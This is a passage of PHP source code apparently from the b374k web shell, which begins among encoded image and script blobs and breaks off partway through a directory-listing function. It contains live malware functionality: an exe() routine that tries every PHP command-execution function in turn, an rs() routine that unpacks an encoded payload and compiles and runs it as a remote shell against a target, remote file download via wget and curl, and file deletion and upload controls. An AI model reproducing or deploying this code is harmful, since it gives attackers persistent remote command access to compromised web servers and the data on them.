0UJdvj8Z7HGLmPVuvEWFtb+zyRWHh7Y6Nw/yjilJNlpSFO5RcwxjGH4nRd1/VfdolTciR13CTPu8Lh8POyLE96vafiPM9HAWB7kS3btp2rVMpJ0zRvqKp6yzSNjBN5/g/C3ULDeIdIrQAAAABJRU5ErkJggg=="; $s_dark_cb = "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA8AAAAeCAYAAADzXER0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAASdJREFUeNrsk0GKwjAYhZNJqYviQpDKLOcY3sOFIF5DFF0KgjeYAwizmDuNOxHcFrGlje9pA1KbNOqshvnh2YD58v6m75dxHIdCiAk0gt5Fc+2gDbQO8DNTSk1D1BtKSikoWxVF0U7TdJ5lmSI8BtfCARKsoFyw1poeLcBjwl0aEgqCwAma4n5yhC+AceSzqdD69RAD+zjedSBeqH/4CfiA74bgaG+o3HxQURR1sOgjnqpMDv+0ikZJkpzyPP9kwlbIaQgNsO55GO+hb2hp3vnI1Hl2XZT7xe+PJNbWYWgcyao7L+p22h4ayephdyPJVl3v+jFcuhNmg+tAazxvN9tA86m83H6+Fm5n3mpd49sSlDaYN3jJb8WFazMy2rftujb/yEieBRgAZHG/OeGef6MAAAAASUVORK5CYII="; $s_bright_cb = "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA8AAAAeCAYAAADzXER0AAAACXBIWXMAAAsSAAALEgHS3X78AAABP0lEQVQ4je2TsUoDQRCGv5m93RRBLBIQO/NOFgHJa4iiZUDwNUSx8J0s5SCFkkJy3M5aJBfwLrm7oI3gD8sWO9/+O+z8kud5AC6BC+CUbr0Bj8B9BlzHGK+KoghmpiklUkp7SVU9CiHceO9dBsyKohjEGMXMMLNWWETUzAbe+1kGjM1MzIyyLFvBSmYmwDgDSCltHc2sE1bV9V7BfRwblxxM/MM/gxeqmkSkNyQiCVgo8BBCWDnnkoigqq3LOZeGw+EKeMqAO+998N6fAyc9jHPgBZhXPX8C3XO5lm3q+f1Ixhh3QUCPSNbdReRb2g6KZP2yRiRjjK29vj7fNlupO/QFG/Cu4n0grL+ql9tkOm93FhF2PfxsA9bPtrCqIiJIzWUynVNFph4dyfP8fblcHpdlSTUkXVJVRqPRxx+N5BfD5OFvXtL9jAAAAABJRU5ErkJggg=="; $s_style = "rVbLjpswFP0VqqhSH4AgSTMzoH5Cl11VXRgwwRqwkTGdZBD/Xj/BgJNppbE3Drm+z3PP9ZehJJgFJWhQfU1+Zj1mvfeDYOJ3kKIyHTNSXIcM5M9nSnpcJLtIrlRe69ArTOJ9e0lzUhOa7Eq51J8vEJ0rlhy58FjRISO0gDSJ24vXkRoV3m4vVzqCwdw+y0PK4IUFBcwJBQwRnGCCIRdLKvIH0mFpamwpHFpQFAifk8h75L6MJaHNUKCurcE1QbhG4joDWQ09VvntkPe04yoKWIK+Zum4awDCiyBjudKgIa+BcjygoEB9l8QRt+D49IIKVvFj9DE13vC8KH92FQRcfpBxgRqdcVLDkqUNoGeEk2i6EU2yHiuGe39X8TBXYC8c4PnOnhELGAW4ExlIKGGAwU9BfAgPDwU8f1bx3BO4b9IDfggvLU8/rFHHVD08sK7IroG4d6XTaPdEZo4yMxR2vATDfyR6iyMDG1HnoFKoi09CdOuCdhXINTukgGOCPprChSJ0hEui0RuIsrlMa0UnS4mIUSiWnihNLKs7j9FB+7gXKeAZZCgHtcZFg4qi5mgNz+DKs23jXZuye+tB9JYUepfq15AxHmTXglxHwLWLYjZoUc79k9jpv3StQ+WKOd7Fcwd+jhv4iC8bgM+1VoFqkrHDPZzEvu3oW37O/48hwm3PXv2wpaRpmR+yCwMUAle3aKBHJoqMMEYaG32HJ7HvU7EFR25emR22GDJ+WDSmUXp4iORV5XnWs2Flb+H6k9hrZNyk/qn/JBkYbhkcXCrKFM0inHTcQ2IS4Px5M2/aus0Xrl5kpE1Xk2VWX22SuOgQZcHcPk0gm+5TB9DiR7E/oKYllAHMJ1PYwYbP5CuaxpkM00XToeApT045O4HLFjjdJVCtVuXaqH7U1RfKK5/HvfXYwUlK/u0aaMlqbw/HHGJOGjauv61xlou9ZpfTpuWtL1sXXGEv5kAczbFPUy6XS9Augi8lcmb7ZrjWwFGQN0r+JVeOxNvotQfPUnnOE8lTOj2T4ngmvWtGLu8zfm+n8bg0J6p9M9ajXGsG2QLeMx2JCUPlApTmktahH6xbYKxRq40cFvDXvnv72diMBa16DEtC2PKBR4VaG8IieY5pqDWtCGP9bPBV5vjJRtsoOfkXu7bwe17B/JmL/A7zrgvML++rV4MM1vKjPBkQqKeMfDmaJ5NosuWrOchqkj8vH1bLVgwobCFgnJb0yf6vJR2S3MyrdeOho5/iLUGy5d+OKJEHWDgic1sOpMeqi33NNrE5UP9Ng0vmHf8C"; $s_mime_types = "dZThdqMgEIX/7zn7DvMC2jZ62t3HmQgaGkepCDFvvxeNis32xx3huwMYmUkwSvcvRWMtIfz+Fbb5CeC0gsvp/Y1iSEARQZGAMoJyBZ9WN/Rpm7ADoUWNrEw+T7TIbmeJLemhgNCUu4EdH2EekLwh47Sd0DcN9fuBX95U19GIpq+RpN946FSudKXziyIfLlC4PHnSn02r4Un05cm3ca2Nnn3yXPRc9NyTN0+jFXV8pXDO63gmBimvw0hQiuJH8ENLMnmS0h8sl9mW74Nmdc9FK8O5vQeC0iyc7fP4kX3w8UUOWwQTekJY2U2fhWJYwZTVuBooAa0hKAXIaJMMibeZLhEeh95dmeQK51ooBJfYHe64axLgMnY1LZoOPPRngg7shneWbyQAhW9sAjvudgtg4cCWW+OQ/EDXmAxFZTTNMTFwjIvHsFemf2FlKyHEFZzZmYrYk+vUysQoQwg0D6480CBmM5dm4H2+tAC+HLoUioMCjYBnsWUtzcAUn85OK3aFELRNTXslhHW+1ek8RWlwLA8+2KYxI7fZzXTKke6Pawcm6IBGR9A3FJsPj4tKeesr3Y156E2lqQ029f5b2IzCPhzWeT1wjh/Q2vLP6yttox+SPsqPR1Ic/ZD0933dKY7SpMFYgla0dsr2SlPGjLvmKgGmRgGbWXNIvIprgnZQt1gew46StkmO2f4RCp9A1DKjlnk6MmHUfLLYdhk+a7tc+cBCww8mbsA3pkNx2j3hxmgr3up9EprkHw=="; $s_sortable_js = "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"; $s_domready_js = "VVJNb9swDP0riQ6GBAjOetglheBD19uGHrpbkAKaRFcqZMmQ6HSB5/8+2mm+Lpb5yPf4SGndDtGgT5GDRDHisYfUrrpkhwBrxYZoofURLGtOWA1/+5SxKORi+1V9KlGKnbVYVd2lat1ZSqc/H2CQNSeQIwk4X3awn8UmzmzqMmh7ZPJqSozn/1U/R049PH46H4CDwro43xJXAPEPOq9Q7fYyyqzWD9Irm8zQQURZlK/PwXOABUuqEPZqcgpBDor9ePn1lCJS6mfSlgaWWjFt7fNhhnyhDGRyRmPExWVBjWCcju/AZFBsAV9nkEmjUrN5C4vQvzez2V4Cs5FOmRqhIPe7sBePGXDIceV3el9V85cPMqrLBsTo6wxdOsCdk7lIZiF7mnw+E3FrjaiNW+p4ey+yIRc3XauK00rgrnwRE5OQQO4v1CjGAqFdK0x945o4X3vdD8VRZnvTAPNxvG6UswAtMjEZjcbRVY9fYxbA376DNFDLKxlIbJLfv4kpzi9BTNvbF+AauHYFMU3iPw=="; function clean($arr){ $quotes_sybase = strtolower(ini_get(\'magic_quotes_sybase\')); if(function_exists(\'get_magic_quotes_gpc\') && get_magic_quotes_gpc()){ foreach($arr as $k=>$v){ $arr[$k] = (empty($quotes_sybase) || $quotes_sybase === \'off\')? stripslashes($v) : stripslashes(str_replace("\'\'", "\'", $v)); } } return $arr; } function adds($s_s){ global $s_win; return ($s_win)? addslashes($s_s):$s_s; } function cp($s_p){ global $s_win; if(@is_dir($s_p)){ $s_x = DS; while(substr($s_p, -1) == $s_x) $s_p = rtrim($s_p, $s_x); return ($s_win)? preg_replace("/\\+/is", "\", $s_p.$s_x):$s_p.$s_x; } return $s_p; } function swd($s_p){ global $s_self; $s_ps = explode(DS,$s_p); $s_pu = ""; for($s_i = 0; $s_i < sizeof($s_ps)-1; $s_i++){ $s_pz = ""; for($s_j = 0; $s_j <= $s_i; $s_j++) $s_pz .= $s_ps[$s_j].DS; $s_pu .= "<a href=\'".$s_self."cd=".$s_pz."\'>".$s_ps[$s_i]." ".DS." </a>"; } return trim($s_pu); } function hss($s_t){ return htmlspecialchars($s_t, 8); } function pf($f){ return "\"".$f."\""; } function cs($s_t){ return str_replace(" ", "_", $s_t); } function ss($s_t){ return rawurldecode($s_t); } function notif($s){ return "<div class=\'notif\'>".$s."</div>"; } function rs($s_rstype,$s_rstarget,$s_rscode){ $s_result = $s_fpath = ""; $s_fc = gzinflate(base64_decode($s_rscode)); $s_errperm = "Directory ".getcwd().DS." is not writable, please change to a writable one"; $s_errgcc = "Unable to compile using gcc"; $s_errjavac = "Unable to compile using javac"; $s_split = explode("_", $s_rstype); $s_method = $s_split[0]; $s_lang = $s_split[1]; if($s_lang=="py" || $s_lang=="pl" || $s_lang=="rb" || $s_lang=="js"){ if($s_lang=="py") $s_runlang = "python"; elseif($s_lang=="pl") $s_runlang = "perl"; elseif($s_lang=="rb") $s_runlang = "ruby"; elseif($s_lang=="js") $s_runlang = "node"; $s_fpath = "b374k_rs.".$s_lang; if(@is_file($s_fpath)) unlink($s_fpath); if($s_file = fopen($s_fpath, "w")){ fwrite($s_file, $s_fc); fclose($s_file); if(@is_file($s_fpath)){ $s_result = exe("chmod +x ".$s_fpath); $s_result = exe($s_runlang." ".$s_fpath." ".$s_rstarget); } else $s_result = $s_errperm; } else $s_result = $s_errperm; } elseif($s_lang=="c"){ $s_fpath = "b374k_rs"; if(@is_file($s_fpath)) unlink($s_fpath); if(@is_file($s_fpath.".c")) unlink($s_fpath.".c"); if($s_file = fopen($s_fpath.".c", "w")){ fwrite($s_file,$s_fc); fclose($s_file); if(@is_file($s_fpath.".c")){ $s_result = exe("gcc ".$s_fpath.".c -o ".$s_fpath); if(@is_file($s_fpath)){ $s_result = exe("chmod +x ".$s_fpath); $s_result = exe("./".$s_fpath." ".$s_rstarget); } else $s_result = $s_errgcc; } else $s_result = $s_errperm; } else $s_result = $s_errperm; } elseif($s_lang=="win"){ $s_fpath = "b374k_rs.exe"; if(@is_file($s_fpath)) unlink($s_fpath); if($s_file = fopen($s_fpath,"w")){ fwrite($s_file,$s_fc); fclose($s_file); if(@is_file($s_fpath)){ $s_result = exe($s_fpath." ".$s_rstarget); } else $s_result = $s_errperm; } else $s_result = $s_errperm; } elseif($s_lang=="java"){ $s_fpath = "b374k_rs"; if(@is_file($s_fpath.".java")) unlink($s_fpath.".java"); if(@is_file($s_fpath.".class")) unlink($s_fpath.".class"); if($s_file = fopen($s_fpath.".java", "w")){ fwrite($s_file,$s_fc); fclose($s_file); if(@is_file($s_fpath.".java")){ $s_result = exe("javac ".$s_fpath.".java"); if(@is_file($s_fpath.".class")){ $s_result = exe("java ".$s_fpath." ".$s_rstarget); } else $s_result = $s_errjavac; } else $s_result = $s_errperm; } else $s_result = $s_errperm; } elseif($s_lang=="php"){ $s_result = eval("?>".$s_fc); } if(@is_file($s_fpath)) unlink($s_fpath); if(@is_file($s_fpath.".c")) unlink($s_fpath.".c"); if(@is_file($s_fpath.".java")) unlink($s_fpath.".java"); if(@is_file($s_fpath.".class")) unlink($s_fpath.".class"); if(@is_file($s_fpath."\$pt.class")) unlink($s_fpath."\$pt.class"); return $s_result; } function geol($str){ $nl = PHP_EOL; if(preg_match("/
/", $str, $r)) $nl = "
"; else{ if(preg_match("/
/", $str, $r)) $nl = "
"; elseif(preg_match("/
/", $str, $r)) $nl = "
"; } return bin2hex($nl); } function ts($s_s){ if($s_s<=0) return 0; $s_w = array(\'B\',\'KB\',\'MB\',\'GB\',\'TB\',\'PB\',\'EB\',\'ZB\',\'YB\'); $s_e = floor(log($s_s)/log(1024)); return sprintf(\'%.2f \'.$s_w[$s_e], ($s_s/pow(1024, floor($s_e)))); } function gs($s_f){ $s_s = @filesize($s_f); if($s_s !== false){ if($s_s<=0) return 0; return ts($s_s); } else return "???"; } function gp($s_f){ if($s_m = @fileperms($s_f)){ $s_p = \'u\'; if(($s_m & 0xC000) == 0xC000)$s_p = \'s\'; elseif(($s_m & 0xA000) == 0xA000)$s_p = \'l\'; elseif(($s_m & 0x8000) == 0x8000)$s_p = \'-\'; elseif(($s_m & 0x6000) == 0x6000)$s_p = \'b\'; elseif(($s_m & 0x4000) == 0x4000)$s_p = \'d\'; elseif(($s_m & 0x2000) == 0x2000)$s_p = \'c\'; elseif(($s_m & 0x1000) == 0x1000)$s_p = \'p\'; $s_p .= ($s_m & 00400)? \'r\':\'-\'; $s_p .= ($s_m & 00200)? \'w\':\'-\'; $s_p .= ($s_m & 00100)? \'x\':\'-\'; $s_p .= ($s_m & 00040)? \'r\':\'-\'; $s_p .= ($s_m & 00020)? \'w\':\'-\'; $s_p .= ($s_m & 00010)? \'x\':\'-\'; $s_p .= ($s_m & 00004)? \'r\':\'-\'; $s_p .= ($s_m & 00002)? \'w\':\'-\'; $s_p .= ($s_m & 00001)? \'x\':\'-\'; return $s_p; } else return "???????????"; } function exe($s_c){ $s_out = ""; $s_c = $s_c." 2>&1"; if(is_callable(\'system\')) { ob_start(); @system($s_c); $s_out = ob_get_contents(); ob_end_clean(); if(!empty($s_out)) return $s_out; } if(is_callable(\'shell_exec\')){ $s_out = @shell_exec($s_c); if(!empty($s_out)) return $s_out; } if(is_callable(\'exec\')) { @exec($s_c,$s_r); if(!empty($s_r)) foreach($s_r as $s_s) $s_out .= $s_s; if(!empty($s_out)) return $s_out; } if(is_callable(\'passthru\')) { ob_start(); @passthru($s_c); $s_out = ob_get_contents(); ob_end_clean(); if(!empty($s_out)) return $s_out; } if(is_callable(\'proc_open\')) { $s_descriptorspec = array( 0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w")); $s_proc = @proc_open($s_c, $s_descriptorspec, $s_pipes, getcwd(), array()); if (is_resource($s_proc)) { while($s_si = fgets($s_pipes[1])) { if(!empty($s_si)) $s_out .= $s_si; } while($s_se = fgets($s_pipes[2])) { if(!empty($s_se)) $s_out .= $s_se; } } @proc_close($s_proc); if(!empty($s_out)) return $s_out; } if(is_callable(\'popen\')){ $s_f = @popen($s_c, \'r\'); if($s_f){ while(!feof($s_f)){ $s_out .= fread($s_f, 2096); } pclose($s_f); } if(!empty($s_out)) return $s_out; } return ""; } function rmdirs($s){ $s = (substr($s,-1)==\'/\')? $s:$s.\'/\'; if($dh = opendir($s)){ while(($f = readdir($dh))!==false){ if(($f!=\'.\')&&($f!=\'..\')){ $f = $s.$f; if(@is_dir($f)) rmdirs($f); else @unlink($f); } } closedir($dh); @rmdir($s); } } function copys($s,$d,$c=0){ if($dh = opendir($s)){ if(!@is_dir($d)) @mkdir($d); while(($f = readdir($dh))!==false){ if(($f!=\'.\')&&($f!=\'..\')){ if(@is_dir($s.DS.$f)) copys($s.DS.$f,$d.DS.$f); else copy($s.DS.$f,$d.DS.$f); } } closedir($dh); } } function getallfiles($s_dir){ $s_f = glob($s_dir.\'*\'); for($s_i = 0; $s_i<count($s_f); $s_i++){ if(@is_dir($s_f[$s_i])){ $s_a = glob($s_f[$s_i].DS.\'*\'); if(is_array($s_f) && is_array($s_a)) $s_f = array_merge($s_f, $s_a); } } return $s_f; } function dlfile($s_u,$s_p){ global $s_wget, $s_lwpdownload, $s_lynx, $s_curl; if(!preg_match("/[a-z]+:\/\/.+/",$s_u)) return false; $s_n = basename($s_u); if($s_t = @file_get_contents($s_u)){ if(@is_file($s_p)) unlink($s_p); if($s_f = fopen($s_p,"w")){ fwrite($s_f, $s_t); fclose($s_f); if(@is_file($s_p)) return true; } } if($s_wget){ $buff = exe("wget ".$s_u." -O ".$s_p); if(@is_file($s_p)) return true; } if($s_curl){ $buff = exe("curl ".$s_u." -o ".$s_p); if(@is_file($s_p)) return true; } if($s_lynx){ $buff = exe("lynx -source ".$s_u." > ".$s_p); if(@is_file($s_p)) return true; } if($s_lwpdownload){ $buff = exe("lwp-download ".$s_u." ".$s_p); if(@is_file($s_p)) return true; } return false; } function get_writabledir(){ if(!$s_d = getenv("TEMP")) if(!$s_d = getenv("TMP")) if(!$s_d = getenv("TMPDIR")){ if(@is_writable("/tmp")) $s_d = "/tmp/"; else if(@is_writable(".")) $s_d = ".".DS; } return cp($s_d); } function zip($s_srcarr, $s_dest){ if(!extension_loaded(\'zip\')) return false; if(class_exists("ZipArchive")){ $s_zip = new ZipArchive(); if(!$s_zip->open($s_dest, 1)) return false; if(!is_array($s_srcarr)) $s_srcarr = array($s_srcarr); foreach($s_srcarr as $s_src){ $s_src = str_replace(\'\\', \'/\', $s_src); if(@is_dir($s_src)){ $s_files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($s_src), 1); foreach($s_files as $s_file){ $s_file = str_replace(\'\\', \'/\', $s_file); if(in_array(substr($s_file, strrpos($s_file, \'/\')+1), array(\'.\', \'..\'))) continue; if (@is_dir($s_file)===true) $s_zip->addEmptyDir(str_replace($s_src.\'/\', \'\', $s_file.\'/\')); else if (@is_file($s_file)===true) $s_zip->addFromString(str_replace($s_src.\'/\', \'\', $s_file), @file_get_contents($s_file)); } } elseif(@is_file($s_src) === true) $s_zip->addFromString(basename($s_src), @file_get_contents($s_src)); } $s_zip->close(); return true; } } function check_access($s_lang){ $s_s = false; $ver = ""; switch($s_lang){ case "python": $s_cek = strtolower(exe("python -h")); if(strpos($s_cek,"usage")!==false) $ver = exe("python -V"); break; case "perl": $s_cek = strtolower(exe("perl -h")); if(strpos($s_cek,"usage")!==false) $ver = exe("perl -e \"print \$]\""); break; case "ruby": $s_cek = strtolower(exe("ruby -h")); if(strpos($s_cek,"usage")!==false) $ver = exe("ruby -v"); break; case "node": $s_cek = strtolower(exe("node -h")); if(strpos($s_cek,"usage")!==false) $ver = exe("node -v"); break; case "gcc": $s_cek = strtolower(exe("gcc --help")); if(strpos($s_cek,"usage")!==false){ $s_ver = exe("gcc --version"); $s_ver = explode("
",$s_ver); if(count($s_ver)>0) $ver = $s_ver[0]; } break; case "tar": $s_cek = strtolower(exe("tar --help")); if(strpos($s_cek,"usage")!==false){ $s_ver = exe("tar --version"); $s_ver = explode("
",$s_ver); if(count($s_ver)>0) $ver = $s_ver[0]; } break; case "java": $s_cek = strtolower(exe("javac --help")); if(strpos($s_cek,"usage")!==false){ $s_cek = strtolower(exe("java -h")); if(strpos($s_cek,"usage")!==false) $ver = str_replace("
", ", ", exe("java -version")); } break; case "wget": $s_cek = strtolower(exe("wget --help")); if(strpos($s_cek,"usage")!==false){ $s_ver = exe("wget --version"); $s_ver = explode("
",$s_ver); if(count($s_ver)>0) $ver = $s_ver[0]; } break; case "lwpdownload": $s_cek = strtolower(exe("lwp-download --help")); if(strpos($s_cek,"usage")!==false){ $s_ver = exe("lwp-download --version"); $s_ver = explode("
",$s_ver); if(count($s_ver)>0) $ver = $s_ver[0]; } break; case "lynx": $s_cek = strtolower(exe("lynx --help")); if(strpos($s_cek,"usage")!==false){ $s_ver = exe("lynx -version"); $s_ver = explode("
",$s_ver); if(count($s_ver)>0) $ver = $s_ver[0]; } break; case "curl": $s_cek = strtolower(exe("curl --help")); if(strpos($s_cek,"usage")!==false){ $s_ver = exe("curl --version"); $s_ver = explode("
",$s_ver); if(count($s_ver)>0) $ver = $s_ver[0]; } break; default: return false; } if(!empty($ver)) $s_s = $ver; return $s_s; } function get_archiver_available(){ global $s_self, $s_tar; $s_dlfile = ""; $s_avail_arc = array("raw" => "raw"); if(class_exists("ZipArchive")) $s_avail_arc["ziparchive"] = "zip"; if($s_tar){ $s_avail_arc["tar"] = "tar"; $s_avail_arc["targz"] = "tar.gz"; } $s_option_arc = ""; foreach($s_avail_arc as $s_t=>$s_u) $s_option_arc .= "<option value=\"".$s_t."\">".$s_u."</option>"; $s_dlfile .= "<form action=\'".$s_self."\' method=\'post\'>
<select onchange=\'download(this);\' name=\'dltype\' class=\'inputzbut\' style=\'width:80px;height:20px;\'>
<option value=\'\' disabled selected>Download</option>
".$s_option_arc."
</select>
<input type=\'hidden\' name=\'dlpath\' value=\'__dlpath__\' />
</form>"; return $s_dlfile; } function showdir($s_cwd){ global $s_self, $s_win, $s_posix, $s_tar; $s_fname = $s_dname = array(); $s_total_file = $s_total_dir = 0; if($s_dh = @opendir($s_cwd)){ while($s_file = @readdir($s_dh)){ if(@is_dir($s_file)) $s_dname[] = $s_file; elseif(@is_file($s_file))$s_fname[] = $s_file; } closedir($s_dh); } natcasesort($s_fname); natcasesort($s_dname); $s_list = array_merge($s_dname,$s_fname); if($s_win){ chdir(".."); if(cp(getcwd())==cp($s_cwd)) array_unshift($s_list, "."); chdir($s_cwd); } $s_path = explode(DS,$s_cwd); $s_tree = sizeof($s_path); $s_parent = ""; if($s_tree > 2) for($s_i = 0; $s_i<$s_tree-2; $s_i++) $s_parent .= $s_path[$s_i].DS; else $s_parent = $s_cwd; $s_owner_html = (!$s_win && $s_posix)? "<th style=\'width:140px;min-width:140px;\'>owner:group</th>":""; $s_colspan = (!$s_win && $s_posix)? "5" : "4"; $s_buff = "
<table class=\'explore sortable\'><thead>
<tr><th style=\'width:24px;min-width:24px;\' class=\'sorttable_nosort\'></th><th style=\'min-width:150px;\'>name</th><th style=\'width:74px;min-width:74px;\'>size</th>".$s_owner_html."<th style=\'width:80px;min-width:80px;\'>perms</th><th style=\'width:150px;min-width:150px;\'>modified</th><th style=\'width:200px;min-width:200px;\' class=\'sorttable_nosort\'>action</th></tr></thead><tbody>"; $s_arc = get_archiver_available(); foreach($s_list as $s_l){ if(!$s_win && $s_posix){ $s_name = posix_getpwuid(fileowner($s_l)); $s_group = posix_getgrgid(filegroup($s_l)); $s_owner = $s_name[\'name\']."<span class=\'gaya\'>:</span>".$s_group[\'name\']; $s_owner_html = "<td style=\'text-align:center;\'>".$s_owner."</td>"; } $s_lhref = $s_lname = $s_laction = ""; if(@is_dir($s_l)){ if($s_l=="."){ $s_lhref = $s_self."cd=".$s_cwd; $s_lsize = "LINK"; $s_laction = "
<span id=\'titik1\'>
<a href=\'".$s_self."cd=".$s_cwd."&find=".$s_cwd."\'>find</a> | <a href=\'".$s_self."cd=".$s_cwd."&x=upload\'>upl</a> | <a href=\'".$s_self."cd=".$s_cwd."&edit=".$s_cwd."newfile_1&new=yes\'>+file</a> | <a href=\"javascript:tukar(\'titik1\',\'\', \'mkdir\',\'newfolder_1\');\">+dir</a>
</span>
<div id=\'titik1_form\'></div>"; } elseif($s_l==".."){ $s_lhref = $s_self."cd=".$s_parent; $s_lsize = "LINK"; $s_laction = "
<span id=\'titik2\'>
<a href=\'".$s_self."cd=".$s_parent."&find=".$s_parent."\'>find</a> | <a href=\'".$s_self."cd=".$s_parent."&x=upload\'>upl</a> | <a href=\'".$s_self."cd=".$s_parent."&edit=".$s_parent."newfile_1&new=yes\'>+file</a> | <a href=\"javascript:tukar(\'titik2\',\'".adds($s_parent)."\', \'mkdir\',\'newfolder_1\');\">+dir</a>
</span>
<div id=\'titik2_form\'></div>"; } else{ $s_lhref = $s_self."cd=".$s_cwd.$s_l.DS; $s_lsize = "DIR"; $s_laction = "
<span id=\'".cs($s_l)."_\'>
<a href=\'".$s_self."cd=".$s_cwd.$s_l.DS."&find=".$s_cwd.$s_l.DS."\'>find</a> | <a href=\'".$s_self."cd=".$s_cwd.$s_l.DS."&x=upload\'>upl</a> | <a href=\"javascript:tukar(\'".cs($s_l)."_\',\'\',\'rename\',\'".$s_l."\',\'".$s_l."\');\">ren</a> | <a href=\'".$s_self."cd=".$s_cwd."&del=".$s_l."\'>del</a>
</span>
<div id=\'".cs($s_l)."__form\'></div>"; $s_total_dir++; } $s_lname = "[ ".$s_l." ]"; $s_lsizetit = "0"; $s_lnametit = "dir : ".$s_l; } else{ $s_lhref = $s_self."view=".$s_cwd.$s_l; $s_lname = $s_l; $s_lsize = gs($s_l); $s_lsizetit = @filesize($s_l); $s_lnametit = "file : ".$s_l; $s_laction = "
<span id=\'".cs($s_l)."_\'>
